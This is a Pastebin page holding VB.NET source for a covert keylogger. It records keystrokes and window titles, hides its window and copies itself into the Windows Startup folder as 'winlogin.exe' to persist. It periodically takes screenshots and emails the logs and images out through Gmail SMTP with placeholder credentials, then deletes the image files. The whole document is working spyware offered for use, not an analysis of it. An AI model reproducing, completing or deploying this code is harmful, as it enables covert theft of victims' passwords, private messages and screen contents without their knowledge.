Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Imports System.IO
- Imports System.Net.Mail
- Public Class Form1
- Dim caps As Boolean
- Dim shift As Boolean
- Dim result As Integer
- Private Declare Function GetKeyState Lib "USER32" (ByVal vKey As Long) As Integer
- Private Declare Function GetAsyncKeyState Lib "USER32" (ByVal vKey As Long) As Integer
- Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
- Dim options(), text1, text2, text3 As String
- Dim activewindow As String
- Private Sub killer()
- Try
- Catch
- Kill("C:\Users\" & System.Environment.UserName & "\AppData\Roaming\set0.jpeg")
- Kill("C:\Users\" & System.Environment.UserName & "\AppData\Roaming\set1.jpeg")
- Kill("C:\Users\" & System.Environment.UserName & "\AppData\Roaming\set2.jpeg")
- Kill("C:\Users\" & System.Environment.UserName & "\AppData\Roaming\set3.jpeg")
- Kill("C:\Users\" & System.Environment.UserName & "\AppData\Roaming\set4.jpeg")
- End Try
- End Sub
- Dim vDirectory As String
- Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
- killer()
- ant.mofo()
- If Directory.Exists("C:\users\" & System.Environment.UserName & "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogin.exe") = False Then Directory.CreateDirectory("C:\users\" & System.Environment.UserName & "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\")
- If System.IO.File.Exists("C:\users\" & System.Environment.UserName & "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogin.exe") = False Then FileCopy(System.Windows.Forms.Application.ExecutablePath, "C:\users\" & System.Environment.UserName & "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogin.exe")
- Timer2.Interval = (1 * 60 * 1000)
- Timer3.Interval = (1 * 60 * 1000 + 500)
- Timer1.Start()
- Timer2.Start()
- Timer3.Start()
- Timer4.Start()
- Timer5.Start()
- End Sub
- Private Function GetActiveWindowTitle() As String
- Dim MyStr As String
- MyStr = New String(Chr(0), 100)
- GetWindowText(GetForegroundWindow, MyStr, 100)
- MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
- Return MyStr
- End Function
- Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
- Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
- shift = GetAsyncKeyState(16)
- caps = GetKeyState(20)
- Dim i As Integer
- For i = 65 To 90
- result = GetAsyncKeyState(i)
- If result = -32767 Then
- If caps = True Then
- If shift = True Then
- TextBox1.Text = TextBox1.Text + LCase(Chr(i))
- Else
- TextBox1.Text = TextBox1.Text + Chr(i)
- End If
- Else
- If shift = False Then
- TextBox1.Text = TextBox1.Text + LCase(Chr(i))
- Else
- TextBox1.Text = TextBox1.Text + Chr(i)
- End If
- End If
- result = 0
- End If
- Next i
- If GetAsyncKeyState(32) = -32767 Then
- TextBox1.Text = TextBox1.Text + " "
- End If
- If GetAsyncKeyState(8) = -32767 Then
- TextBox1.Text = TextBox1.Text.Remove(TextBox1.Text.Length - 1, 1)
- End If
- If GetAsyncKeyState(9) = -32767 Then
- TextBox1.Text = TextBox1.Text + "[TAB]"
- End If
- If GetAsyncKeyState(13) = -32767 Then
- TextBox1.Text = TextBox1.Text + vbNewLine
- If activewindow <> GetActiveWindowTitle() Then
- activewindow = GetActiveWindowTitle()
- TextBox1.Text = TextBox1.Text + activewindow + vbNewLine + vbNewLine + vbNewLine + vbNewLine
- End If
- End If
- If GetAsyncKeyState(17) = -32767 Then
- TextBox1.Text = TextBox1.Text + "[CTRL]"
- End If
- If GetAsyncKeyState(27) = -32767 Then
- TextBox1.Text = TextBox1.Text + "[ESC]"
- If activewindow <> GetActiveWindowTitle() Then
- activewindow = GetActiveWindowTitle()
- TextBox1.Text = TextBox1.Text + activewindow + vbNewLine + vbNewLine + vbNewLine + vbNewLine
- End If
- End If
- If GetAsyncKeyState(35) = -32767 Then
- TextBox1.Text = TextBox1.Text + "[END KEY]"
- End If
- If GetAsyncKeyState(36) = -32767 Then
- TextBox1.Text = TextBox1.Text + "[HOME]"
- activewindow = GetActiveWindowTitle()
- TextBox1.Text = TextBox1.Text + "[HomePage:" + activewindow + "]"
- End If
- If GetAsyncKeyState(46) = -32767 Then
- TextBox1.Text = TextBox1.Text + "[DEL]"
- End If
- If GetAsyncKeyState(37) = -32767 Then
- TextBox1.Text = TextBox1.Text + "[LeftButton]"
- End If
- If GetAsyncKeyState(38) = -32767 Then
- TextBox1.Text = TextBox1.Text + "[UpButton]"
- End If
- If GetAsyncKeyState(39) = -32767 Then
- TextBox1.Text = TextBox1.Text + "[RightButton]"
- End If
- If GetAsyncKeyState(40) = -32767 Then
- TextBox1.Text = TextBox1.Text + "[DownButton]"
- End If
- If GetAsyncKeyState(1) = -32767 Then
- If activewindow <> GetActiveWindowTitle() Then
- activewindow = GetActiveWindowTitle()
- TextBox1.Text = TextBox1.Text + vbNewLine + vbNewLine + "[" & activewindow & "]" + vbNewLine + vbNewLine
- End If
- End If
- If GetAsyncKeyState(2) = -32767 Then
- If activewindow <> GetActiveWindowTitle() Then
- activewindow = GetActiveWindowTitle()
- TextBox1.Text = TextBox1.Text + vbNewLine + "[" & activewindow & "]" + vbNewLine + vbNewLine
- End If
- End If
- End Sub
- Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
- Try
- Dim MyMailMessage As New MailMessage
- MyMailMessage.From = New MailAddress("mail")
- MyMailMessage.To.Add("mail")
- MyMailMessage.Subject = ("Death logz")
- MyMailMessage.Body = (TextBox1.Text)
- Dim SMTPServer As New SmtpClient("smtp.gmail.com")
- SMTPServer.Port = 587
- SMTPServer.Credentials = New System.Net.NetworkCredential("mail", "pass")
- SMTPServer.EnableSsl = True
- SMTPServer.Send(MyMailMessage)
- Dim bounds As Rectangle
- Dim screenshot As System.Drawing.Bitmap
- Dim graph As Graphics
- bounds = Screen.PrimaryScreen.Bounds
- screenshot = New System.Drawing.Bitmap(bounds.Width, bounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb)
- graph = Graphics.FromImage(screenshot)
- graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy)
- PictureBox1.Image = screenshot
- PictureBox1.Image.Save("C:\Users\" & System.Environment.UserName & "\AppData\Roaming\set" + Label4.Text + ".jpeg")
- Label4.Text = Label4.Text + 1
- Catch ex As Exception
- End Try
- If Label4.Text > 5 Then
- Try
- Dim mail As New MailMessage()
- Dim mailatt1 As New Attachment("C:\Users\" & System.Environment.UserName & "\AppData\Roaming\set0.jpeg")
- Dim mailatt2 As New Attachment("C:\Users\" & System.Environment.UserName & "\AppData\Roaming\set1.jpeg")
- Dim mailatt3 As New Attachment("C:\Users\" & System.Environment.UserName & "\AppData\Roaming\set2.jpeg")
- Dim mailatt4 As New Attachment("C:\Users\" & System.Environment.UserName & "\AppData\Roaming\set3.jpeg")
- Dim mailatt5 As New Attachment("C:\Users\" & System.Environment.UserName & "\AppData\Roaming\set4.jpeg")
- Dim SmtpServer1 As New SmtpClient
- SmtpServer1.Credentials = New Net.NetworkCredential("mail", "pass")
- SmtpServer1.Port = 587
- SmtpServer1.Host = "smtp.gmail.com"
- SmtpServer1.EnableSsl = True
- SmtpServer1.EnableSsl = True
- mail.To.Add("mail")
- mail.From = New MailAddress("mail")
- mail.Subject = (My.Computer.Name + " SCREEN SHOTS")
- mail.Attachments.Add(mailatt1)
- mail.Attachments.Add(mailatt2)
- mail.Attachments.Add(mailatt3)
- mail.Attachments.Add(mailatt4)
- mail.Attachments.Add(mailatt5)
- SmtpServer1.Send(mail)
- Label4.Text = 1
- Catch ex As Exception
- End Try
- End If
- End Sub
- Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
- TextBox1.Clear()
- End Sub
- Private Sub Timer4_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer4.Tick
- Me.Hide()
- Me.Opacity = 0
- Me.Visible = False
- End Sub
- End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement